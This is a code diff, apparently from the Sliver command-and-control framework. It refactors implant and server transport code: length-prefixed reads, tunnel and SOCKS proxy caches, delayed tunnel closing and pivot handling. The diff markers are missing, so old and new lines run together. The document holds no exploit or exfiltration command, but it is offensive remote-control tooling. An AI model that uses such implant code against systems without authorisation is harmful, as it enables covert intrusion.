dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[mtls] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
}
// Unmarshal the protobuf envelope
@@ -23,6 +23,7 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -236,7 +237,9 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
n, err := io.ReadFull(p.conn, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -245,22 +248,22 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, bufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
+30 -92
View File
@@ -19,7 +19,6 @@ package transports
*/
import (
// {{if or .Config.WGc2Enabled .Config.HTTPc2Enabled}}
"net"
@@ -62,12 +61,15 @@ import (
// {{end}}
// {{if not .Config.NamePipec2Enabled}}
"io"
"net/url"
"sync"
"time"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{end}}
"time"
)
var (
@@ -77,88 +79,6 @@ var (
type Start func() error
type Stop func() error
// Connection - Abstract connection to the server
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
})
}
// Tunnel - Duplex byte read/write
type Tunnel struct {
ID uint64
Reader io.ReadCloser
ReadSequence uint64
Writer io.WriteCloser
WriteSequence uint64
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
@@ -295,7 +215,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[mtls] lost connection, cleanup...")
// {{end}}
close(send)
conn.Close()
close(recv)
},
@@ -334,6 +253,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if !ok {
return
}
// {{if .Config.Debug}}
log.Printf("TRANSPORT MESSAGE: type (%d) - %s", envelope.Type, envelope.Data)
// {{end}}
err := mtls.WriteEnvelope(conn, envelope)
if err != nil {
return
@@ -352,7 +274,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := mtls.ReadEnvelope(conn)
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[mtls] eof")
// {{end}}
return
}
if err != io.EOF && err != nil {
break
@@ -393,7 +318,6 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[wg] lost connection, cleanup...")
// {{end}}
close(send)
conn.Close()
dev.Down()
close(recv)
@@ -462,7 +386,10 @@ func wgConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := wireguard.ReadEnvelope(conn)
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[wireguard] eof")
// {{end}}
return
}
if err != io.EOF && err != nil {
break
@@ -499,7 +426,6 @@ func httpConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[http] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{}
close(recv)
},
@@ -547,6 +473,12 @@ func httpConnect(uri *url.URL) (*Connection, error) {
return
default:
envelope, err := client.ReadEnvelope()
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[http] eof")
// {{end}}
return
}
switch errType := err.(type) {
case nil:
errCount = 0
@@ -614,7 +546,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[dns] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{} // Stop polling
close(recv)
},
@@ -678,6 +609,11 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
log.Printf("[dns] session is closed")
// {{end}}
return
case io.EOF:
// {{if .Config.Debug}}
log.Printf("[dns] eof")
// {{end}}
return
default:
errCount++
// {{if .Config.Debug}}
@@ -720,7 +656,6 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
log.Printf("[tcp pivot] lost connection, cleanup...")
// {{end}}
pingCtrl <- struct{}{}
close(send)
ctrl <- struct{}{}
close(recv)
},
@@ -794,7 +729,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := pivot.ReadEnvelope()
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[tcp pivot] eof")
// {{end}}
return
}
if err != nil {
// {{if .Config.Debug}}
+62
View File
@@ -0,0 +1,62 @@
package transports
import (
"io"
"sync"
)
// Tunnel - Duplex byte read/write
type Tunnel struct {
ID uint64
Reader io.ReadCloser
readSequence uint64
Writer io.WriteCloser
writeSequence uint64
mutex *sync.RWMutex
}
func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel {
return &Tunnel{
ID: id,
Reader: reader,
Writer: writer,
mutex: &sync.RWMutex{},
}
}
func (c *Tunnel) ReadSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.readSequence
}
func (c *Tunnel) WriteSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.writeSequence
}
func (c *Tunnel) IncReadSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.readSequence += 1
}
func (c *Tunnel) IncWriteSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.writeSequence += 1
}
// Close - close tunnel reader and writer
func (c *Tunnel) Close() {
c.Reader.Close()
c.Writer.Close()
}
@@ -26,6 +26,7 @@ import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
@@ -48,7 +49,6 @@ import (
)
var (
readBufSize = 16 * 1024 // 16kb
serverTunIP = "100.64.0.1" // Don't let user configure this for now
tunnelNet *netstack.Net
tunAddress string
@@ -111,8 +111,8 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
if len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
// {{end}}
@@ -120,23 +120,22 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
}
// Unmarshal the protobuf envelope
+1
View File
@@ -4,4 +4,5 @@ fs/*.zip
fs/darwin/amd64/
fs/darwin/arm64/
fs/linux/amd64/
fs/linux/arm64/
fs/windows/amd64/
+16 -27
View File
@@ -23,7 +23,9 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
consts "github.com/bishopfox/sliver/client/constants"
@@ -38,8 +40,6 @@ import (
const (
// defaultServerCert - Default certificate name if bind is "" (all interfaces)
defaultServerCert = ""
readBufSize = 1024
)
var (
@@ -111,6 +111,7 @@ func handleSliverConnection(conn net.Conn) {
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
@@ -156,39 +157,27 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
// socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
// returns messageType, message, and error
func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data, keep in mind each call to .Read() may not
// fill the entire buffer length that we specify, so instead we use two buffers
// readBuf is the result of each .Read() operation, which is then concatinated
// onto dataBuf which contains all of data read so far and we keep calling
// .Read() until the running total is equal to the length of the message that
// we're expecting or we get an error.
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
mtlsLog.Errorf("Read error: %s", err)
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
mtlsLog.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
if err != nil {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
mtlsLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
+16 -23
View File
@@ -22,7 +22,9 @@ import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
"net/netip"
@@ -260,36 +262,27 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
wgLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data, keep in mind each call to .Read() may not
// fill the entire buffer length that we specify, so instead we use two buffers
// readBuf is the result of each .Read() operation, which is then concatinated
// onto dataBuf which contains all of data read so far and we keep calling
// .Read() until the running total is equal to the length of the message that
// we're expecting or we get an error.
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
wgLog.Errorf("Read error: %s", err)
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
wgLog.Errorf("[wireguard] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
if err != nil {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
wgLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
+28 -15
View File
@@ -28,31 +28,44 @@ import (
// ImplantConnection - Abstract connection to an implant
type ImplantConnection struct {
ID string
Send chan *sliverpb.Envelope
RespMutex *sync.RWMutex
Resp map[int64]chan *sliverpb.Envelope
Transport string
RemoteAddress string
LastMessage time.Time
Cleanup func()
ID string
Send chan *sliverpb.Envelope
RespMutex *sync.RWMutex
LastMessageMutex *sync.RWMutex
Resp map[int64]chan *sliverpb.Envelope
Transport string
RemoteAddress string
LastMessage time.Time
Cleanup func()
}
// GetLastMessage - Retrieves the last message time
func (c *ImplantConnection) GetLastMessage() time.Time {
c.LastMessageMutex.RLock()
defer c.LastMessageMutex.RUnlock()
return c.LastMessage
}
// UpdateLastMessage - Updates the last message time
func (c *ImplantConnection) UpdateLastMessage() {
c.LastMessageMutex.Lock()
defer c.LastMessageMutex.Unlock()
c.LastMessage = time.Now()
}
// NewImplantConnection - Creates a new implant connection
func NewImplantConnection(transport string, remoteAddress string) *ImplantConnection {
return &ImplantConnection{
ID: generateImplantConnectionID(),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
Resp: map[int64]chan *sliverpb.Envelope{},
Transport: transport,
RemoteAddress: remoteAddress,
Cleanup: func() {},
ID: generateImplantConnectionID(),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
LastMessageMutex: &sync.RWMutex{},
Resp: map[int64]chan *sliverpb.Envelope{},
Transport: transport,
RemoteAddress: remoteAddress,
Cleanup: func() {},
}
}
+3 -3
View File
@@ -76,13 +76,13 @@ type Session struct {
// LastCheckin - Get the last time a session message was received
func (s *Session) LastCheckin() time.Time {
return s.Connection.LastMessage
return s.Connection.GetLastMessage()
}
// IsDead - See if last check-in is within expected variance
func (s *Session) IsDead() bool {
sessionsLog.Debugf("Checking health of %s", s.ID)
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
sessionsLog.Debugf("Last checkin was %v", s.LastCheckin())
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
timePassed := time.Since(s.LastCheckin())
reconnect := time.Duration(s.ReconnectInterval)
@@ -104,7 +104,7 @@ func (s *Session) IsDead() bool {
}
}
if s.Connection.Transport == "pivot" {
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
if time.Since(s.Connection.GetLastMessage()) < time.Duration(time.Minute)+padding {
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
return false
}
+84 -6
View File
@@ -23,6 +23,7 @@ import (
"encoding/binary"
"errors"
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +41,12 @@ var (
ErrInvalidTunnelID = errors.New("invalid tunnel ID")
)
const (
// delayBeforeClose - delay before closing the tunnel.
// I assume 10 seconds may be an overkill for a good connection, but it looks good enough for less stable one.
delayBeforeClose = 10 * time.Second
)
// Tunnel - Essentially just a mapping between a specific client and sliver
// with an identifier, these tunnels are full duplex. The server doesn't really
// care what data gets passed back and forth it just facilitates the connection
@@ -54,6 +61,43 @@ type Tunnel struct {
FromImplantSequence uint64
Client rpcpb.SliverRPC_TunnelDataServer
mutex *sync.RWMutex
lastDataMessageTime time.Time
}
func NewTunnel(id uint64, sessionID string) *Tunnel {
return &Tunnel{
ID: id,
SessionID: sessionID,
ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.TunnelData),
mutex: &sync.RWMutex{},
lastDataMessageTime: time.Now(), // need to be initialized
}
}
func (t *Tunnel) setLastMessageTime() {
t.mutex.Lock()
defer t.mutex.Unlock()
t.lastDataMessageTime = time.Now()
}
func (t *Tunnel) GetLastMessageTime() time.Time {
t.mutex.RLock()
defer t.mutex.RUnlock()
return t.lastDataMessageTime
}
func (t *Tunnel) SendDataFromImplant(tunnelData *sliverpb.TunnelData) {
// Setting the date right before and right after message, since channel can be blocked for some amount of time
t.setLastMessageTime()
defer t.setLastMessageTime()
t.FromImplant <- tunnelData
}
type tunnels struct {
@@ -64,12 +108,12 @@ type tunnels struct {
func (t *tunnels) Create(sessionID string) *Tunnel {
tunnelID := NewTunnelID()
session := Sessions.Get(sessionID)
tunnel := &Tunnel{
ID: tunnelID,
SessionID: session.ID,
ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.TunnelData),
}
tunnel := NewTunnel(
tunnelID,
session.ID,
)
t.mutex.Lock()
defer t.mutex.Unlock()
t.tunnels[tunnel.ID] = tunnel
@@ -77,6 +121,39 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
return tunnel
}
// ScheduleClose - schedules a close for tunnel, must be called as routine.
// will close it once there is no data for at least delayBeforeClose delay since last message
// This is _necessary_ since we processing messages asynchronously
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
// (this is what happends for socks and portfwd)
// There is no another way around it, if we want to stick to async processing as we do now.
// All additional changes requires changes on implants(like sequencing for close messages),
// and as there is a goal to keep compatability we don't do that at the moment.
// So there is trade off - more stability or more speed. Or rewriting implant logic.
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
func (t *tunnels) ScheduleClose(tunnelID uint64) {
tunnel := t.Get(tunnelID)
if tunnel == nil {
return
}
timeDelta := time.Now().Sub(tunnel.GetLastMessageTime())
coreLog.Printf("Scheduled close for channel %d (delta: %v)", tunnelID, timeDelta)
if timeDelta >= delayBeforeClose {
coreLog.Printf("Closing channel %d", tunnelID)
t.Close(tunnelID)
} else {
// Reschedule
coreLog.Printf("Rescheduling closing channel %d", tunnelID)
time.Sleep(delayBeforeClose - timeDelta + time.Second)
go t.ScheduleClose(tunnelID)
}
}
// Close - closing tunnel
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
func (t *tunnels) Close(tunnelID uint64) error {
t.mutex.Lock()
defer t.mutex.Unlock()
@@ -111,6 +188,7 @@ func (t *tunnels) Close(tunnelID uint64) error {
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
return t.tunnels[tunnelID]
}
+1
View File
@@ -190,6 +190,7 @@ func GoBuild(config GoConfig, src string, dest string, buildmode string, tags []
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
}
var goCommand = []string{"build"}
if 0 < len(trimpath) {
goCommand = append(goCommand, trimpath)
}
+2 -2
View File
@@ -74,7 +74,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
beacon.RemoteAddress = implantConn.RemoteAddress
beacon.PID = beaconReg.Register.Pid
beacon.Filename = beaconReg.Register.Filename
beacon.LastCheckin = implantConn.LastMessage
beacon.LastCheckin = implantConn.GetLastMessage()
beacon.Version = beaconReg.Register.Version
beacon.ReconnectInterval = beaconReg.Register.ReconnectInterval
beacon.ActiveC2 = beaconReg.Register.ActiveC2
@@ -125,7 +125,7 @@ func beaconTasksHandler(implantConn *core.ImplantConnection, data []byte) *slive
return nil
}
go func() {
err = db.UpdateBeaconCheckinByID(beaconTasks.ID, beaconTasks.NextCheckin)
err := db.UpdateBeaconCheckinByID(beaconTasks.ID, beaconTasks.NextCheckin)
if err != nil {
beaconHandlerLog.Errorf("failed to update checkin: %s", err)
}
+19 -3
View File
@@ -146,8 +146,23 @@ func pivotPeerFailureHandler(implantConn *core.ImplantConnection, data []byte) *
core.PivotSessions.Range(func(key, value interface{}) bool {
pivot := value.(*core.Pivot)
if pivot.OriginID == peerFailure.PeerID {
found := pivot.OriginID == peerFailure.PeerID
if !found {
pivotLog.Warnf("Filed peer not found by OriginID, searching by Peers instead")
for _, peer := range pivot.Peers {
if peer.PeerID == peerFailure.PeerID {
pivotLog.Warnf("Found session with needed peer!")
found = true
}
}
}
if found {
session := core.Sessions.FromImplantConnection(pivot.ImplantConn)
if session != nil {
core.Sessions.Remove(session.ID)
}
@@ -214,11 +229,12 @@ func serverKeyExchange(implantConn *core.ImplantConnection, peerEnvelope *sliver
return nil
}
pivotSession := core.NewPivotSession(peerEnvelope.Peers)
pivotLog.Infof("Pivot session %s created with origin %s", pivotSession.ID, peerEnvelope.Peers[0].Name)
pivotLog.Debugf("Peers: %v", peerEnvelope.Peers)
pivotSession.OriginID = peerEnvelope.Peers[0].PeerID
pivotSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
pivotLog.Infof("Pivot session %s created with origin %s and OriginID: %v", pivotSession.ID, peerEnvelope.Peers[0].Name, pivotSession.OriginID)
pivotLog.Infof("Peers: %v", peerEnvelope.Peers)
pivotRemoteAddr := peersToString(implantConn.RemoteAddress, peerEnvelope)
pivotSession.ImplantConn = core.NewImplantConnection(core.PivotTransportName, pivotRemoteAddr)
+7 -3
View File
@@ -110,15 +110,18 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
defer tunnelHandlerMutex.Unlock()
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[DATA] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
if session.ID == tunnel.SessionID {
tunnel.FromImplant <- tunnelData
tunnel.SendDataFromImplant(tunnelData)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
sessionHandlerLog.Warnf("Data sent on nil tunnel %d, %s", tunnelData.TunnelID, tunnelData.Data)
}
return nil
}
@@ -134,6 +137,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
if !tunnelData.Closed {
return nil
}
@@ -141,7 +145,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
if tunnel != nil {
if session.ID == tunnel.SessionID {
sessionHandlerLog.Infof("Closing tunnel %d", tunnel.ID)
core.Tunnels.Close(tunnel.ID)
go core.Tunnels.ScheduleClose(tunnel.ID)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
+8
View File
@@ -141,9 +141,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
}
if dev.hasV4 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
tcpipErr = dev.stack.SetForwardingDefaultAndAllNICs(header.IPv4ProtocolNumber, true)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
}
}
if dev.hasV6 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
tcpipErr = dev.stack.SetForwardingDefaultAndAllNICs(header.IPv6ProtocolNumber, true)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
}
}
dev.events <- tun.EventUp
+62 -26
View File
@@ -32,12 +32,59 @@ import (
var (
// SessionID->Tunnels[TunnelID]->Tunnel->Cache map[uint64]*sliverpb.SocksData{}
toImplantCacheSocks = map[uint64]sync.Map{}
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
fromImplantCacheSocks = map[uint64]map[uint64]*sliverpb.SocksData{}
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
)
type socksDataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.SocksData
}
func (c *socksDataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.SocksData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.SocksData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *socksDataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.SocksData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *socksDataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
// Socks - Open an in-band port forward
func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
for {
@@ -62,18 +109,17 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
go func() {
for tunnelData := range socks.FromImplant {
recvCache, ok := fromImplantCacheSocks[fromClient.TunnelID]
if ok {
recvCache[tunnelData.Sequence] = tunnelData
}
for recv, ok := recvCache[socks.FromImplantSequence]; ok; recv, ok = recvCache[socks.FromImplantSequence] {
fromImplantCacheSocks.Add(fromClient.TunnelID, tunnelData.Sequence, tunnelData)
for recv, ok := fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence); ok; recv, ok = fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence) {
rpcLog.Debugf("[socks] agent to (Server To Client) Data Sequence %d , Data Size %d ,Data %v\n", socks.FromImplantSequence, len(recv.Data), recv.Data)
socks.Client.Send(&sliverpb.SocksData{
CloseConn: recv.CloseConn,
TunnelID: recv.TunnelID,
Data: recv.Data,
})
delete(recvCache, socks.FromImplantSequence)
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.FromImplantSequence)
socks.FromImplantSequence++
}
@@ -83,29 +129,20 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
// Send Agent
go func() {
recvCache, ok := toImplantCacheSocks[fromClient.TunnelID]
if ok {
recvCache.Store(fromClient.Sequence, &sliverpb.SocksData{
TunnelID: fromClient.TunnelID,
Username: fromClient.Username,
Password: fromClient.Password,
Data: fromClient.Data,
Sequence: fromClient.Sequence,
})
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
}
for recv, ok := recvCache.Load(socks.ToImplantSequence); ok; recv, ok = recvCache.Load(socks.ToImplantSequence) {
for recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence); ok; recv, ok = toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence) {
rpcLog.Debugf("[socks] Client to (Server To Agent) Data Sequence %d , Data Size %d \n", socks.ToImplantSequence, len(fromClient.Data))
data, _ := proto.Marshal(recv.(*sliverpb.SocksData))
data, _ := proto.Marshal(recv)
session := core.Sessions.Get(fromClient.Request.SessionID)
session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socks.ToImplantSequence++
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.ToImplantSequence)
socks.ToImplantSequence++
}
}()
@@ -123,8 +160,7 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
if tunnel == nil {
return nil, ErrTunnelInitFailure
}
toImplantCacheSocks[tunnel.ID] = sync.Map{}
fromImplantCacheSocks[tunnel.ID] = map[uint64]*sliverpb.SocksData{}
return &sliverpb.Socks{
SessionID: session.ID,
TunnelID: tunnel.ID,
@@ -134,8 +170,8 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
// CloseSocks - Client requests we close a Socks
func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb.Empty, error) {
err := core.SocksTunnels.Close(req.TunnelID)
delete(toImplantCacheSocks, req.TunnelID)
delete(fromImplantCacheSocks, req.TunnelID)
toImplantCacheSocks.DeleteTun(req.TunnelID)
fromImplantCacheSocks.DeleteTun(req.TunnelID)
if err != nil {
return nil, err
}
+62 -22
View File
@@ -21,6 +21,7 @@ package rpc
import (
"context"
"io"
"sync"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
